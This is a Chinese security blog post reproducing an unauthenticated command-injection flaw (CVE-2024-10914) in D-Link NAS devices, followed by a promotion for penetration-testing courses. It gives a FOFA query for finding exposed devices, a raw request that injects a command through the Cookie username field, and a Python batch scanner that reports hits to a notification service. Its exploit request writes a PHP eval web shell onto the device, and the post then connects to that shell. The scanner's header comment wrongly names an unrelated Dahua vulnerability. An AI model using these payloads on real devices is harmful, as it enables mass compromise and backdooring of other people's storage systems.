【深度复现】D-Link NAS设备 sc_mgr.cgi 未授权RCE漏洞(CVE-2024-10914)

【深度复现】D-Link NAS设备 sc_mgr.cgi 未授权RCE漏洞(CVE-2024-10914)

原创 红岸基地赵小龙 暗影网安实验室 2024-11-21 01:00

产品简介

D.LinK NASQ 设备是一种基于网络的存储解决方案,作为网络存储设备,旨在为企业提供大容量的存储空间,并通过网络连接实现数据的访问和管理。这种设备不仅满足了企业对数据存储的需求,还提供了高效的数据共享和访问功能,提升了企业数据管理的效率和灵活性。广泛应用于各种企业场景,如文档存储、图片和视频存储、数据库备份等。特别是在需要高效数据共享和访问的企业环境中,如设计工作室、广告公司、医疗机构等,D-Link NAS设备更是发挥了其强大的功能和优势

漏洞概述

D-LinK NAS设备 /cgi-bin/sc mgrcgi?cmd=Sc Get nf0 接口存在远程命令执行漏洞,未经身份验证的远程攻击者可利用此漏洞执行任意系统命令,写入后门文件,获取服务器权限。

PS:这段时间,连出两个D-Link相关漏洞

FOFA

body="/cgi-bin/login_mgr.cgi"  &&  body="cmd=cgi_get_ssl_info"

漏洞复现

GET /cgi-bin/sc_mgr.cgi?cmd=SC_Get_Info HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Cookie: username=mopfdfsewo'& id & echo 'mopfdfsewo;

深度复现

这里,我们使用两种红岸的检测工具,第一代和第三代的

第一代,1、信息收集

第二利用poc进行批量检测

# .py
#大华智能物联综合管理平台 任意文件读取漏洞复现(QVD-2023-45063)
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests.exceptions import Timeout
import os
import urllib.parse
import urllib.request

def sc_send(text, desp='', key='[SENDKEY]'):
    postdata = urllib.parse.urlencode({'text': text, 'desp': desp}).encode('utf-8')
    urlserver = f'https://sctapi.ftqq.com/{key}.send'
    req = urllib.request.Request(urlserver, data=postdata, method='POST')
    with urllib.request.urlopen(req) as response:
        result = response.read().decode('utf-8')
    return result

key = ""

def scan_D_Link_NAS_sc_mgr_rce(url, proxies, headers, append_to_output):
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080'
    }
    if url.endswith("/"):
        path = "cgi-bin/sc_mgr.cgi?cmd=SC_Get_Info"
    else:
        path = "/cgi-bin/sc_mgr.cgi?cmd=SC_Get_Info"

    if not url.startswith('http://') and not url.startswith('https://'):
        url = 'http://' + url

    encodetext = url + path
    append_to_output("===================================================================", "green")
    append_to_output(f"扫描目标: {url}", "yellow")
    headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0",
    "Accept": "*/*",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "close",
    "Cookie": "username=mopfdfsewo'& id & echo 'mopfdfsewo;"
  }

    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        req1 = requests.get(encodetext, headers=headers, verify=False, timeout=20, proxies=proxies)

        if req1.status_code == 200 and 'uid' in req1.text:
            append_to_output(f"[+] {url} 存在D-Link NAS设备 sc_mgr.cgi 未授权RCE漏洞!!!!", "red")
            ret = sc_send('发现D-Link NAS设备 sc_mgr.cgi 未授权RCE漏洞', f"漏洞连接: {url}\r\n漏洞类型: RCE漏洞", key)
        else:
            append_to_output(f"[-] {url} 不存在D-Link NAS设备 sc_mgr.cgi 未授权RCE漏洞", "green")
    except Timeout:
        append_to_output(f"[!] 请求超时,跳过URL: {url}", "yellow")
    except Exception as e:
        if 'HTTPSConnectionPool' in str(e) or 'Burp Suite Professional' in str(e):
            append_to_output(f"[-] {url} 证书校验错误或者证书被拒绝", "yellow")
        else:
            append_to_output(str(e), "yellow")

第三代检测脚本

可以直接输入fofa语句导入资产

导入完成,可以选择对应的POC

选择对应代理

进行批量检测

然后随便挑一个进行下一步

由于分号不让写入只能通过ascii转码

EXP:
GET /cgi-bin/sc_mgr.cgi?cmd=SC_Get_Info HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Cookie: username=mopfdfsewo'& echo -e '<?php @eval($_POST[cmd])\x3B?>' > 1.php & echo 'mopfdfsewo;

蚁剑进行连接

路径为:http://IP/cgi-bin/1.php

由于我们进行了转码所以需要进行编码连接

连接成功!

免责声明

文章所涉及内容,仅供安全研究与教学之用,由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。

大家对于网络安全感兴趣的话,不妨来加一下我们的老师,我们会定期在给大家分享
渗透工具
实战,还会有
渗透公开课可以试听!

扫码添加,提升自己!

👇👇👇

后续一些打击犯罪文章会在下方公众号发布